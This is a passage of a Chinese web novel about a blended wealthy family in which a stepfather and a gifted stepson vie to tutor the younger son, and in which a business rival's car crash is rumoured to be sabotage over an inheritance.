他的眼神询问般地看向沈叔叔,沈叔叔的脸色没有喜怒, 但还是能从神色中看出难以言说的那种情绪。 他想,或许不是五十。 “如果向晨的成绩不好的话,我可以教他的。” 他是五年级, 而且分数是全年级第一。 他曾经给向晨制定过学习计划, 却完全没实施。 林叙白试探性地看了一眼向晨, 结果向晨指着沈介舟, “后爸答应教我了。” “是这样吗?沈叔叔。” 沈介舟回想起刚刚一幕,确实他算是半答应了的,而且向晨这阵子的学习确实该他负责的。 结果考成这样他的责任自然也要承担大半。 于是他点点头, “确实, 怎么说也要让向晨期末考试的时候考的更好些。” 纪向晨闻言撇撇嘴, 他觉得和他同样都是小学三年级学历的后爸在这大放厥词了。 他确实想在这次期末考试中进步些。 但他不信任后爸的教学,但要让林叙白教他,他又过不了这个坎。 虽然他对人的抵触情绪少了点,但让林叙白教他, 感觉还是怪怪的。 他面露不满,但是没想到什么更好的主意。 纪悠这时候开口了, “那你们俩就都先试试呗,家教老师都还得有试课时间呢。” 谁能让向晨成绩进步的快, 谁就可以带向晨。 这个潜台词大家两人都听明白了。 沈介舟好奇原先他一个人带的场面怎么变成需要竞争了?但这个前提条件,似乎也无可厚非。 他松了紧皱的眉头,然后点了点头。 林叙白诧异地看了沈叔叔一眼, 他能看出沈叔叔在老板的位置上待久了,有种自傲的情绪。 这次让人把他放到需要竞争的位置上。 他居然没有多少心理负担的就同意了。 林叙白抿唇,看了沈介舟一眼。 家长会要开始了,纪悠带着人进去,林叙白的成绩自然得到了大肆夸赞,问起纪悠的教育,纪悠也只是说‘松弛有度。’ 她在实验室就是这么教人的,严教之后又给人充分的自由,让人充分思考。 最后得到的结果自然不错。 她对这个文中的天才男主总是充满信心。 林叙白眼神亮了亮,在桌子底下扣着指甲。 等时间结束,纪悠又走的很快。 他的笑容勾了勾又放下,显然和刚才轻快的心情不同。 许言疏来的很巧,他站在门外没进去,走了几个家长后才靠近人身边,“我有带了你喜欢的橙子,要吃吗?” 林叙白摇头,“不是很想,也没有胃口。” 许言疏也没在意,直接收了起来,反正也只是当个聊天的媒介而已。 他能察觉到林叙白此刻最在意的事情是什么,他跟着瞧了一眼,“或许是因为剪彩礼的事着急。” 林叙白收敛起心神,眼神冷了一个度。 这问题不是现在该问的,但他偏偏就想问了,“你怎么会出现在这里?” 许言疏深思,就这还说他客套疏离? 他装作没体会到这点,“我是想找昭然然后顺道经过你这。” 林叙白觉得五年级和三年级可不顺道,他想问,但嘴边转了个弯问了说了另一句话。 “你们兄弟俩的感情还挺好的。” 许言疏聊起这点也是一点都不含糊,“毕竟昭然从小到大,学习上很多都是我教的,至于其他事也都喜欢过来先问问我。” 林叙白瞥开眼,眼里闪过一丝羡慕的情绪。 他想了想然后说道,“所以,哥哥教弟弟学习是一件很正常的事吧。” —— 时间是纪悠排的,沈介舟排在第一个。 他按照这个时间调了一下工作,然后坐在了向晨的身后。 正常来说,该是拿着三年级教材的。 但是现在,他拿着一年级。 他觉得要开始补,就要先从最基础开始补起。 纪向晨很快的接受了这点,毕竟他想着后爸的能力也就只能到这了。 沈介舟吃了个哑巴亏,此刻也只能捏着鼻子认了。 向晨是个好孩子,还是她最在意的。 无论是因为恩情,还是别的,他都该对孩子耐心点。 他敏感的察觉到近期不光是他对向晨耐心了很多,向晨对他也少了很多针对。 他有些好奇,“难道是因为我们俩拥有相同的学历?” 他是有点被可爱到的,小孩子的交友原来是这么简单又轻松的一件事吗? “是也不是啦。” 纪向晨最开始的时候对沈介舟稍稍改变那一点点态度的时候是因为,“在每次演戏的时候,你都配合的很好,我是第一,那你是第二个配合妈妈配合的这么好的。” 这可是没见过的。 而且对待的,还是沈介舟的亲戚哎。 “我看的出来她是为了我。” 纪向晨给了后爸一个赞赏的眼神,“所以我觉得,你这人拎得清!” 沈介舟笑了笑,居然被一个小孩这样夸了。 当然他也能够读懂向晨的潜台词,是因为他足够给他妈妈面子,毕竟他的戏份,可算不上好。 向晨他虽然小,但在情感的感受上可真是敏锐啊。 还有向晨他,真的很爱她。 沈介舟看着人把最基础的学了学,在背到乘法表的时候他感受到向晨的脑袋一点一点的。 肯定是困了,他看了眼时间发现快到下课时间了。 向晨他学这么久已经很不容易了。 沈介舟原本以为让人坐着学习都做不到呢。 他把人抱上床,给人掖了掖被子这才走出门,在门外,他看见纪悠站在门口,不知道朝里看了多久。 他咳嗽了两声,“向晨他很努力。” “我看到了。” 沈介舟深吸一口气,直视人的眼睛道劝道,“你最近也很努力。” 甚至说太努力了点,明明剪彩礼最新的实验都不着急,但她还是把自己忙成了陀螺。 今天回来的时间,在近期来说都算早了。 纪悠对此不否认,“没办法,因为有孩子,成绩不好的孩子更是如此。” “什么意思?” 纪悠给自己倒了杯水,慢悠悠地道,“如果不是向晨想学习,我是不想看他这么难为自己的。” 明明是喜欢疯玩疯跑的性子,却要压抑自己坐在这。 或许这个想法有些溺爱,但她就是这么想的,“我的孩子,自然该是什么好东西都摆在他面前让他挑选才对吧。” 她有这个能力,帮助沈介舟也是打着这个主意。 这样所有人都知道,她的孩子在背后有个实力雄厚的亲妈和后爸,这样无论是谁,都会念着这点给他三分薄面。 这是她像看到的。 至于别的,从刚开始,就不在她的考虑范围之内。 沈介舟愣愣地,他不敢相信居然有孩子爱妈妈到这种地步,妈妈也爱孩子到这种地步,这是他从来没见过的情谊。 在他眼中,家人之间,总是图点什么。 最后这点利用价值也没有了,那点血脉又算得了什么。 他闭上眼,不知道该说些什么好。 隔天沈介舟去到办公室,这是他主动的去找颜乐,他坐在沙发上,有一腔情绪无法排解。 而颜乐似乎也想去找他,表示有话想跟他说。 “你先说。” “你先说。” 两人异口同声,颜乐倒是先摆了谱,“这可是你来找我,还想先从我嘴里先套出来八卦啊。” 沈介舟:“……” 这逻辑上好像有点不对。 但经过他这么一打岔,他的心情明显好了点,他把昨晚的事跟颜乐用另外一种叙述方式说了一下。 在听到‘我有一个朋友’的时候,颜乐的嘴角都差点勾起,想要嘲笑这个说法的低劣。 但他还是耐心听完了,然后双手交叉,表情认真。 “我小时候最大的梦想就是有弟妹…哦不,你朋友老婆的妈。” 谁不希望呢,身家富裕,完全自由。 沈介舟无语地看人一眼,“说正事呢。” “我这说的就是正事啊。” 见沈介舟冷脸,颜乐‘啧’了一声,然后开始举起了例子,“许清则!在和你比的时候从来没赢过对吧?” 沈介舟投去疑惑地眼神,显然不太懂颜乐这时候提起许清则的意思。 “按照正常情况下他早该破产了。” 但是! “他的公司依然屹立不倒,都城的一些老总呢,见到他依然是客气有加。” 这原因还不简单吗?就是因为他有一个无论赔了多少钱,依然会给他填窟窿的爸妈啊。 这在他爸妈眼里,完全就是小钱啊。 虽然许清则在家里并不受宠,但给点这种小钱家里也是愿意的。 话说到这已经足够说明问题了。 沈介舟抿唇,“说到底,这事我也得努力。” 颜乐先是点头,因为沈介舟努力,他是跟着捡漏的,还有他的孩子也跟着吃香。 但是等等。 人家那是亲爸妈,你这个后爸?这么快就把自己带入了? 他张了张嘴,还没问出来呢,沈介舟打断了他,“所以你想跟我说什么的?” 颜乐想起来了,他说的这事事情也可大了,而且还和刚刚两人聊起来的人有关。 他没卖关子直接道,“许清则,他出车祸差点凉了。” “怎么回事?” “据说是因为刹车失灵,漏油车子直接爆炸了,如果不是他反应及时的跳车,现在人已经没了。” 刹车失灵? “他不像是这么没防范心的人。” 听起来这比起刹车失灵,更像是爆.炸,一个彻彻底底的警告。 颜乐首先声明这不是他阴谋论啊,而是事情八次就是这样的。 “他爸据说身体已经不太行了。” 所以,为了遗产,他大哥干净利落的选择下手。 或者用这种方式,选择警告让他放弃。 都是有可能的,反正短短一晚上,已经在圈子里传开了,各种版本都有,简直让他像是掉进瓜田里的猹,吃都吃不完啊。 沈介舟站起身,“那我去看看他。” 颜乐眼睛亮起,难道是对情敌的挑衅,“那你别忘记带上一束鲜花,他花粉过敏。” 沈介舟皱了皱眉,他想他还不至于这么缺德。 他买了一个果篮,水果的颜色总是治愈的,香蕉是主色调,因为这时候,水果的种类并不多。 其中觉得单调,他还挑选了一些燕窝补品。 结果许清则直接道,“我对香蕉过敏。” 沈介舟:“……” 他说他不是故意的,许清则会信吗? “可以给孩子们吃。” “看病人东西是带给孩子的,沈总手伸的有点太长了吧。” 说不上来,但沈介舟觉得他在报复他说的那句‘过界’。 沈介舟抿唇,“我拿去送给环卫工人。” “那你来看我就空手来?” “是的,我想很符合我们俩之间的糟糕关系。” 许清则看了他身后,笑眯眯道,“那你可以离开了,别耽误真正想来看我的人来关心我了。” 沈介舟蓦然转头,他看见了纪悠。 并不怎么感到意外吧,因为从许清则的犯贱表情中他也能看出来。 但她怀中抱着一束鲜花。 沈介舟伸手拦住了她,“许清则花粉过敏。” “是吗?那你下楼送香蕉的时候顺便把这朵花也给送了吧。” 纪悠赶人的态度特别明显,全程也是没给沈介舟一个眼神。 沈介舟愣了愣,他好久没在她身上感受到这么明显的敌意了。 上一次,还是在第一次见面的时候。 他看不懂,但他觉得此刻他再待在这,情况会变得更糟。 他走出去,然后看了内室一眼才带上门。 纪悠坐在椅子上,没了花,她现在也变成空手来的了,但她很悠闲,没带东西来,在病房里依然自在。 她不开心的原因是她看到许清则就想到了原著,说是正反派,但就是沈介舟的遗产之争。 原先沈介舟对向晨是有不过问的愧疚的,而且还说要给他一半遗产,但向晨捅了林叙白一刀后,就没给了。 那原先的害‘她’呢,就不算是对弟弟的伤害了吗? 只允许受伤,不允许反击? 这不就是偏心吗?和许清则一样,都是由着宠爱的大儿子动手,去伤害小儿子。 她可不信,作为父母的,会完全不知情,但他们还是抱着小儿子如果受伤了,就是他没本事这一类的想法。 这可真是有够搞笑的。 纪悠看着许清则绑着绷带的手臂,“伤口怎么样?” “死不了。” “那确实,祸害遗千年。” 许清则:“……”等等,他可是受了这么严重的伤哎,居然也要被这么刻薄的对待吗? “我会给你安装一些保护措施的,比如警报器。” 炸弹警报,刹车线警报,就连人过度靠近也会报告给他。 这就可以很大程度上确保安全了。 “那这种东西……” “不可以。”纪悠当然不会把这东西交给许清则,让他去挣钱。 让沈介舟变得首屈一指的有钱这点,她的想法暂时还没有变。 但是许清则也不是完全没有合作的可能,她很直接道,“你不做汽车不就好了,反正也没赢过沈介舟。” 她也可以做点其他的项目的。 许清则面露为难,“我……” “汽车救过你的命吗?” 许清则:“……”好一张刻薄的嘴啊,明明知道汽车差点害死他。 他收敛一下吐槽的心情,然后道,“我曾经想做汽车,就是因为刹车失灵,差点出了车祸。” 那是他一生的阴影,所以他才要更好的了解汽车保护自己。 “哦。” 哦? 正常不是应该心疼他的经历,夸奖他的勇气,然后再好好宽慰他的心灵吗? 结果这什么都没有,就一句‘哦’? 她还能再冷漠一点吗? 纪悠:“既然看过你了,那我就先走了。” 许清则觉得‘再冷漠一点’,也是有可能的。 他只能安慰自己说是沈介舟惹得人生气的错。 他短暂地安心躺平,觉得他这次至少能让自己的车安上警报,不用担心车子的问题了。 许言疏终于忍不住的拉开帘子,他原先在后面倒水,见人一个一个来,有礼的保持缄默。 此刻他把茶杯重重地摔在桌上,“你该不会以为你这次刹车失灵的消息散播出去后,还会有人买我们家的汽车吧。” “还有,这可是夫人主动提出来的合作,这泼天的富贵你都接不住吗?” “汽车救过你的命,还是沈介舟害过你的命啊,就非得给人作对?” 许清则:“!??” 这什么规矩,孩子都能教训到老爹头上了。 他看人摔门想走,用完好的那只手抽出背后的软垫就砸了过去。 —— 沈介舟离开病房,他在仔细思索她生气的原因,但他也思考不出个所以然来。 这种感觉是从没有过的慌乱。 他按了按心口,坐车回到家,今天,也是他负责教向晨。 纪向晨打了个哈欠,他迷茫的揉揉眼睛,“我感觉我这次还没开始就困了。” 完全没有之前的劲头了。 “我给你准备了风油精。” 这是保持清醒的,据说只有高三冲刺高考的学生经常用。 沈介舟打开盖子闻了下,然后又收了起来,暂时还是先别用这东西好了。 然后向晨就开始背书,还是九九乘法表。 他困的要命,沈介舟想,向晨有可能是背书困顿的类型。 纪悠这时候走进来,沈介舟下意识解释,“向晨他很用心的在背,但每次都会打不起精神。” “我知道了。”纪悠继续道,“但这同样也说明你教学质量很一般。” 看不住孩子,也约束不了。 沈介舟心下一凉,这样冷淡地纪悠他好久没有遇到过,也不知道怎么处理。 他语气有点干巴,“抱歉,可以再给我一次机会吗?” 纪悠解释,“我已经找好别的人来教向晨了。” “是叙白吗?” “不是。” 沈介舟皱着眉头,疑惑写在脸上。 纪悠也耸耸肩解释道,“我原先那句‘你们两个先试试’,并没有说一定要在你们两个当中去挑一个吧。” 至于人选的话,她已经商量好了,就在后天。 明天还可以让人先玩玩。 沈介舟上前一步,纪悠看到人似乎还想解释,于是转头,“原先你说你要教导向晨,但向晨似乎成绩还下降了一点。” 她说了上次向晨私下里考六分的事。 沈介舟迟疑,这么说,她的生气是因为他做的太差的缘故吗? 纪悠:“所以你这么看重成绩的人,却让向晨的成绩变得更差了,你这是故意的吗?” 沈介舟如坠冰窖,他不可置信的抬眼。 总算是在刚刚,他理解了纪悠的冷淡,和对许清则那少许的担忧。 因为现在,她把他的不用心教导当做为了偏心叙白,故意地不好好教导向晨。 而叙白向晨他们会因为这份刻意离心,成了为了遗产,互相伤害的兄弟? 叙白不会这么做,他今后也不会偏心。 他想这并不公平。 明明他和许清则是一种人,结果她把许清则看成是不被偏心的孩子,而把他看做是偏心的家长?—— 作者有话说:这让我想到那句,我用同样的方式对待你,你却生气了[菜狗][菜狗][菜狗] 指的两人对互相的偏见~《 》 35-40 第 36 章 更新 沈介舟约了颜乐出来, 至于去哪,他还没想好。 只是他不敢回到家里。 他想起在他问出来之后纪悠的回答,‘难道你不是吗?’, 这句话简直让他溃不成军。 这句话,犀利的点出了他前段时间的自我欺骗。 他就是偏心的。 他伸出轻微颤抖的手掌然后不自觉的握了握。 颜乐走在大街上, 看沈介舟魂不守舍,拿不了什么主意,干脆直接把人带到咖啡厅坐着去算了。 “是关于弟妹的事吧?” 沈介舟瞥开眼, “是也不是。” 颜乐无奈, 这话让他怎么接?这不是让他完全搞不清楚状况吗? 沈介舟觉得不是, 是因为这是关于向晨的事, 而觉得是,是他终于体会到了她过去一次次被误解的心情。 原来是这么苦闷吗? 如果不是因为讨厌酒味,那他真想尝试那些喜欢半夜消愁的是什么滋味。 沈介舟看出了颜乐的担心, 他想, 或许向晨的事可以说给他听, 毕竟颜乐也算是第一个看出他偏心的人了。 他小声叙述着,颜乐安静听着。 然后颜乐问道,“那把向晨带到谁身边去学习了?” “陆家。” “就是那个许清则的前岳家?” 这个陆家,清华北大毕业出来的有八九个, 有的在学校当老师,有的为国家做贡献。 就连他这个泥腿子出身的, 都忍不住像个古人一样感慨一句书香门第。 这样的人家,当初能挑中许清则做女婿也是难以置信了。 “他家孩子昭然和我家向晨是好朋友。” “那这就合理了。” 颜乐松了口气, 他还以为什么呢,毕竟陆家和许清则隔阂深,但看在孩子的份上, 交集还真不少。 他看了沈介舟一眼,决定把刚刚打听到的消息告诉他。 “弟妹给许清则装了一个叫什么感应器的。” 沈介舟垂眸,“我知道她担心许清则的原因。” “她还把这个感应器的专利给了许清则的公司,这已经是明摆着给人送钱的意思了。” 颜乐小心翼翼地看了人一眼,他现在觉得沈介舟和弟妹的关系真是复杂到他完全看不懂的程度。 给了小沈合作,却又给许清则送钱。 难道她还在权衡两人哪个适合给孩子当后爸吗? 颜乐看不懂,沈介舟却明白她这是生气了。 以前他完全不担心许清则能给他造成威胁,主要是他看出来她对人完全没有那个意思,但现在的话,不一定了。 沈介舟闭了闭眼,原先的单手握拳变成了双手交握。 原先就是睡不着,喝了咖啡现在是更睡不着了,他睁着眼睛直到凌晨,才把向晨送去陆家。 纪向晨原先该在车子上吃包子的,但感受到旁边的低气压又收起来了。 他兴奋的下车放下书包,“我原本啊,还担心妈妈把我送到什么地方去学习呢。” 结果居然是这! 这不是意味着他寒假也可以找他的好朋友来玩了吗? 他觉得,妈妈这找的地方也太棒了,他太喜欢了。 陆昭然也是惊喜得很,他也是完全没想到啊,昨晚他就知道今天有个同学要来他们家学习,结果到临了临了了姥姥才告诉他是谁。 姥姥这个年纪,这举动绝对算老顽童了吧。 “等学习完我带你去我房间。” “当然好啊。” 陆昭然的姥姥明茹意也不是古板教育的风格,她是清华老教授了,但总归她也要教自家外孙,教一个教两个不都是教嘛。 还能让两个孩子一起玩,所以当纪悠找上门来,她也是乐见其成。 昭然他,小时候生病,从来没看过他这么放松的时候。 所以她私心里,也希望向晨能多来做做客,和昭然玩一玩。 原先在远处慈爱地看着两小孩玩闹,现在则走上来问,“向晨爱吃点什么吗?今天是周末,学习的时间安排的比较散,中午就在这吃,有什么忌口一定要和姥姥说。” 纪向晨直接严肃的敬了个礼,“没问题的!” 他没有过敏源,但他特别尤其讨厌吃香菜。 光是想到,就让他汗毛直立的程度。 明茹意点了点头,她稀罕地笑了笑,带了这么多学生,这还是她第一次接触年龄这么小的。 她家孩子都早熟,此刻看到个有孩子样的感觉院子里都有活力起来了。 她想起纪悠那女娃说的,只觉得果然没错。 “那你们就在这好好学习,第一天给你们准备大餐,我先去让厨房那边去做。” 纪向晨稀罕地看了眼时间,如果没记错学习就是要从这个点开始学的啊。 但老师,却准备走? 他挠挠头,有些不明白,“那我们第一天是学什么的啊?” 关于这点纪茹意早就想好了,她看了一眼昭然,然后又回看回来,“第一天就是让昭然教你,让你们俩的水平接近了我才会亲自上场的。” 纪向晨:啊??? 意思是今天是他的朋友要担任他的老师了吗? 这也太有意思了吧! —— 林叙白在楼道里走来走去,他神色冷淡,但从动作上能看出焦躁。 主要是他不太清楚事情是怎么发展成这样。 一夜之间,他连争取教向晨的权力都没了。 明明他连试都没试过,都还没到他来教的时间这个事情就截止了,找到了能教向晨的人了。 他想不明白,但他能敏锐的能查觉得到这和许清则有关。 他在楼道里等许言疏,这里没有多少人经过,他叫了位许言疏的同班同学把人叫过来。 他上节是体育课,大多数人应该都会在运动结束后回来在椅子上歇上一会。 许言疏对林叙白来找很是诧异,他脱下刚刚在打篮球弄脏的护腕,“怎么了嘛?可真是稀奇啊。” 这应该是林叙白第一次主动来找他。 以往都是他主动去找,还要被人冷淡一会呢。 许言疏又喝了喝保温壶里的水,待看见林叙白那实在苍白的脸上,他喝了一口又把保温壶重新放下了。 “有事你就直说吧。” 林叙白:“你父亲受伤了是怎么回事?” 林叙白自然是敏锐地,他能够从细枝末节中察觉到蛛丝马迹,沈叔叔因着他是孩子,有好些事从不会说的这么明白,他只能来自己问了。 许言疏没想到他来居然是问他爸,是担心吗? 算了,这猜测太离谱了。 许言疏摇了摇头,然后看人一眼。 正常来说,他只能按照公司公关对外说的那样告诉林叙白,告诉他这是个简单的车祸。 但他对待林叙白,还是说了实情,“兄弟斗争吧,大概就是。” “兄弟斗争?” 林叙白后退半步,答案很直接了当,他懂了她是因为担忧。 但事情发展到现在,她其实心底没有一刻信任过他,向晨是他的弟弟,更是她的儿子。 他怎么可能会做出那样的事啊? 许言疏看出来点什么,“这种想法很大众吧,那就是亲生的都这样,更何况你们是同父异母。” 本身的隔离就够多的了,他说不会谁会信,至少当妈的是一万个提防的。 许言疏看了人苍白的脸色一眼,到底没继续说下去。 “你来找我还有什么别的事吗?” 林叙白收敛情绪,他来找许言疏确实有第二件事。 他深吸口气,“既然昭然可以带人去陆家学习,那你同样作为外孙,也可以带人去陆家学习吗?” 许言疏顿了顿,对于这件事,他只能说理论上可行。 林叙白看了人一眼,“答案能更确切一点吗?” 这还是许言疏第一次被年纪小的人镇住,明明对方还是求他办事。 但这样显露出他的真实面,或许两人之后能成为更深刻的朋友关系也说不定,所以总体来说是很值当的。 许言疏想清楚关节,自信的笑了,“当然可以。” 几乎是在两天后,许言疏就通知林叙白可以去上学了。 和向晨一起,让姥姥带着。 四个人一起齐聚在陆家,明茹意有意要把向晨的成绩先提上来再教,所以局面就成为了三带一。 主力军是陆昭然,“就比如说我问你借了三个珍藏版卡片,你还有四个,那你现在手头里有几个?” “当然是七个!” “答对了!” 陆昭然率先给人鼓掌,林叙白紧随其后,唯一看不明白的是许言疏。 他不明白需要鼓掌的点在哪里? 但习惯会让他保持职业假笑。 陆昭然:“哥,你平日里不是崇尚自学的吗?怎么现在会想着来姥姥家学习啊。” “当然是因为各种各样的原因。” 他举了个例子,“就比如昭然以往自己能考年级前十,但实际分数出来,只有年级前二十名,所以我特地来看看。” 所以这是来检验学习成果的?陆昭然不敢说话了。 许言疏满意的笑笑,然后去问林叙白,“我牺牲了我的玩乐时间陪你到这,结果你就光顾着给你弟鼓掌?” 不满的情绪透过言语具象化,林叙白翻了页书,对于许言疏兄弟俩的关系他一直是羡慕的。 “因为虽然是三带一,但我的举例却不能够让向晨轻松理解。” 昭然举的例子轻松有趣,还结合两人之间的爱好针对性地说,这是他完全做不到的。 因为他的爱好是这么贫瘠,想模仿居然都做不到。 就比如现在,陆昭然举了个例子。 “你忘了吗?就我们一连两节数学课都不去上的时候,在学校的花坛里发现了两株四叶草,我们数过的啊。” 数过两株里面有多少四叶草! 旁边的明茹意慢悠悠地在摇椅上晃着,她盖了个毯子,这天实在有点冷了。 此刻她插嘴道,“两节数学课都不去上?是怎么回事啊,昭然。” 第 37 章 更新 场面突然安静了一瞬, 陆昭然这个当事人尤其的心慌。 他和纪向晨对视一眼。 能从眼神中看到对方的没辙。 许言疏看了两个人眉来眼去,有些无奈但还是开口了,“毕竟有些科目无聊的很, 本来就是家里学过的东西,也实在没有听的必要。” 同时一起开口的还有林叙白:“他们的数学老师是他们的教导主任, 曾经在两个小孩被欺负的时候污蔑了他们,可能纯粹是讨厌老师而已。” 明茹意一耳朵一个理由,如果不是她还没老眼昏花, 恐怕如今还听不明白两人说的什么, 具体什么意思呢。 她觉得有些好笑, 左右看了两个大孩一眼。 “我并没有生气的意思, 你们两个大孩是不是也太着急了。” 这态度就是着急的替不太聪明的弟弟们辩解。 严重怀疑他们长大之后在家人的身上不能明辨是非啊,深切怀疑的那种。 陆昭然原本是坐立不安,现在吃了颗定心丸, 情绪好了点, 但也只有一点。 他双腿并拢, 情绪有些束手束脚。 “姥姥你不怪我的吗?” 明茹意知道昭然是个好孩子,向晨也是,这俩孩子她有什么担心的。 昭然的长大她只希望能够这辈子平平安安就够了,于是她态度认真, “如果是家里的其他孩子,逃课肯定要被骂还要被打一顿, 但是你是昭然,从小到大连个正经学校都没去过的, 我生什么气?” 不如说她还开心人在学校里能这么有活力呢。 难怪最近瞧着昭然的脸色都红润不少。 明茹意顿了半晌,到底还是说出了心底的担忧,“但也不要疯玩疯跑的太过分了, 昭然的身体到底还是不要过度运动的,比如你们能玩玩围棋这样的也很好啊。” 不一定非得旷了课,出了门去,万一受了伤那可真是让她心疼了。 昭然这孩子,和他妈妈是最像的。 明茹意想了想,从椅子上坐起来,去房里给两个小孩拿了个棋盘。 下棋是最能锻炼思维的,最好还能锻炼一下两个小孩的耐心。 陆昭然闻言点头,纪向晨也是。 因为他刚刚也体会到了同样的压迫感,因为他妈完全没问过,他后爸没那个本事管他。 如今看到一个正经管孩子学习的家长,他不紧张才怪呢。 直到现在听姥姥没怪,也没阻止昭然和他玩,身体这才轻松了些。 室内刚化解了一个大危机,正一片和睦呢,门外传来一阵声响,进来一个儒雅的男人。 陆砚泉冲着孩子们点了点头,他是言疏昭然他们的舅舅,至于另外两个孩子,他也略有耳闻。 “叙白向晨,你们好。” 纪向晨意外地指着自己,跟着陆昭然称呼,“舅舅,你居然认得我吗?” 自从他来到这,一面都没见过陆砚泉叔叔吧。 那他却一眼认出来他? 陆砚泉觉得有点失礼了,他还没做自我介绍,“因为我的工作主要是负责国家专利这些的工作。” “哇,专利?!” 如果没记错,妈妈也经常提起这些。 陆砚泉笑笑,“所以叙白能力斐然,是我们专利局近期经常提起的天才少年呢,看来纪悠小姐真的把你培养的很好。” 纪向晨不自在地瞧了林叙白一眼,林叙白的脸色丝毫不变,似乎已经习惯了这样的赞美。 纪向晨撇了撇嘴,有些不爽利。 因为林叙白这么厉害,不是很轻易地就能给妈妈长脸了吗? 他跺了跺脚,然后指着自己,“那我呢?为什么知道我啊?” 陆砚泉感到有些好笑,语气也变成和年纪更小的孩子说话的,那种更温和的语气。 “因为你是纪悠小姐时常挂在嘴边的乖巧儿子啊。” 什么?居然是这样! 纪向晨眼睛亮了亮,原先的不满情绪瞬间被抚平,这么一想,做个没多少本事的孩子也还行。 至少别人在称呼起他的时候都会称呼他‘纪悠小姐的儿子’。 他喜欢这种称呼,这种母子之间的绑定。 纪向晨乐呵的笑了两声,陆砚泉看人爽朗的笑容,也跟着笑了笑。 他这次来是为了工作的印章来的,小孩子们,也一向不喜欢共处的时候有大人在旁边,所以他的动作很快。 几乎五分钟,他就从楼上下楼关门离去。 纪向晨听见门响才回到座位上继续下一页题的讲解。 等课程结束,纪向晨也是不着急走的,他一般会在昭然的房间里和他一起玩玩。 当然这也是昭然陪他玩就是了。 反正两人对于这种状况都还挺满意的。 这次,两人拿的是姥姥刚给的棋盘,陆昭然下了一个子道,“向晨,我仔细想了想。” “什么?” “就是我的身体不好,确实不该是到处疯玩的身体。”陆昭然抿唇,他不自在地地方在于,“我不想让姥姥担心。” 纪向晨点头,“这当然好啊,那就不到处玩啦。” 正好他也要在期末考试之前学习一下。 说是‘妈妈疼爱的儿子’那种称呼也不错,但到底没有本事不代表着要给妈妈丢人。 他这两点还是分的很清楚的。 心里这样想着,身体也跟着得意地挺起胸膛。 对面的陆昭然则是眼睛亮亮的,因为他说的委婉,但向晨居然能一瞬间理解他,而且还要一起玩。 不愧是他最好的朋友。 他笑了笑,随手又下了一个子,也是在这时候,他发现向晨的下法完全不是围棋的下法。 他把棋子连成一条是要干嘛的? 陆昭然疑惑的问,“有这种玩法吗?” “当然有了,我妈妈说下法简单快捷,省时间还好玩,你看这五个子连成一排就代表赢了,所以这个叫五子棋。” 陆昭然虽然懵懵的,但还是很快接受了新兴玩法。 “那我们今天晚上就下五子棋玩好了。” 反正围棋这种东西,下的时间久还无聊,至少对陆昭然是这样的。 —— 纪悠关上实验室的门,她挂上原先的锁,到底没扔掉再换一把。 她手上的实验室钥匙一式三份,首先是她,然后是许清则,再然后就是林叙白了。 现在的话,林叙白也好久没来过了。 纪悠笑笑,看了眼已经开始下沉的太阳,拿着成品和文件就去医院,找到了许清则。 许清则吊着胳膊,挂着绷带,不能动,但他还有完整的另一只手,用他的话来说,就是不影响签字。 许清则现在可真是春风得意,就算受伤了脸上也没有困顿之色。 “真是没想到纪悠小姐居然改变主意了。” 纪悠把文件放进文件袋,对这话并不否认,“我们利益一致。” 许清则被压了多年想报复一把,而她呢,则是有口气需要出,所以两人现在的打算,倒是不谋而合。 接着纪悠冷不丁道,“等这次之后你可以再转行。” 许清则‘啧“了一声,说实话,“我以为你这次是彻底站我这边了呢。” “别想太多。” 她只是有情绪需要发泄,但真要做什么,她心里还是有数的,当然她的打算也从来都是短期打算。 剩下的,那就只能等之后再说。 纪悠熬了夜,现在打了个哈欠,她看了眼时间,准备蹭一顿饭再走。 许清则的口味和她很像,只是断了手,还老被人说生病了要吃清淡的,但许清则为人叛逆,没人管的住,也根本不听。 陆砚泉这时候推开病房门走了进来,大概是不是仇人但和仇人差不多。 陆砚泉看许清则的表情像吃了只苍蝇,是死是活都恶心,他努力的忽略‘大舅哥’的称呼,把视线放到纪悠身上来。 纪悠有些许疑惑,她歪了歪头,“怎么了嘛?为了向晨的学习嘛?” 纪悠当初把向晨安排进陆家,也有陆砚泉的一份努力。 他是当时做中间人的那个。 所以从他这问向晨的教育问题合情合理。 陆砚泉闻言摇头,“不是的,向晨的学习状态很好。” 纪悠迟疑,既然不是为向晨的事,那就是为了工作的事,她记得,“我这次的专利报告记得已经申请了。” 她是专门申请了才来到这里的。 陆砚泉叹了口气,他知道这个,但他来的原因,是因为别的。 他能看出那小孩的小心翼翼,所以说话做事也格外谨慎,“是林叙白的专利,想要把你的名字放在第一位。” 纪悠挑眉,“这些天,我并没有和他共同做过什么事才对。” “但他是这么说的。” 陆砚泉看着纪悠神色不变,不免赞叹道这谁听了这天大的好处不愿意,主要还是因为自己手上的专利实在太多了吧。 他满是佩服,随后他又道。 “毕竟他还是个孩子,签字的时候总要想到家长总是要到的。” 纪悠疑惑地睁开眼,陆先生说的这还是林旭白这个人吗? “同时他也说了,他曾经答应过,要把他创作出来的东西,所有权都交给你。” 纪悠笑了笑,到底是这话更符合林叙白一点。 她直接坐上车,打算去见林叙白。 林叙白站在门口,这还是距离上次之后两人第一次见到面呢。 第 38 章 更新 专利文件在桌子上摆着, 纪悠看了一眼,她从没参与过,也没了解过。 但这才短短一两个月的时间。 只能说不愧是原著中的天才男主。 “这几天你藏着掖着不露面, 原来就是在做这件事吗?” 林叙白这几天确实在躲纪悠,主要是想清楚关节之后, 不知道该怎么证明自己。 而现在就是证明自己的方式之一。 他翻了几页纸,整理了一下,眼皮子底下有着淡淡的黑眼圈, “这几天确实是在沈叔叔那忙活了不少日子。” 纪悠好奇问, “那到头来是要给沈介舟?” 林叙白抬头, “不是, 我让你来签第一作者的名字,就是让你决定要给谁。” 他说接下来这话说的不太自在,手里下意识点着笔。 “我们先前不是商量过了吗?我的专利都让你做主。” 纪悠看了林叙白一眼, 倒是不怎么接话茬。 “听说你最近借着许言疏的由头去了陆家?” 林叙白大抵是心虚吧, 竟然在里面听出了兴师问罪的信号。 想到她对他的误会, 难不成她以为他是奔着害弟弟去的? 他抿唇,心头的情绪不好,但现在的情况也不能让他们变得更糟了。 于是他坐直起身,认真解释, “陆家学习氛围好,明奶奶对学习也很有法子, 现在让我们三带一,争取先把向晨的成绩提上来呢。” “你也在用心教?” “对, 但是不如昭然厉害。” 纪悠想到两个孩子的相处模式,向晨肯定是更能听进去昭然的话的。 只是林叙白,也算是有这个心。 她在文件上签下名字, 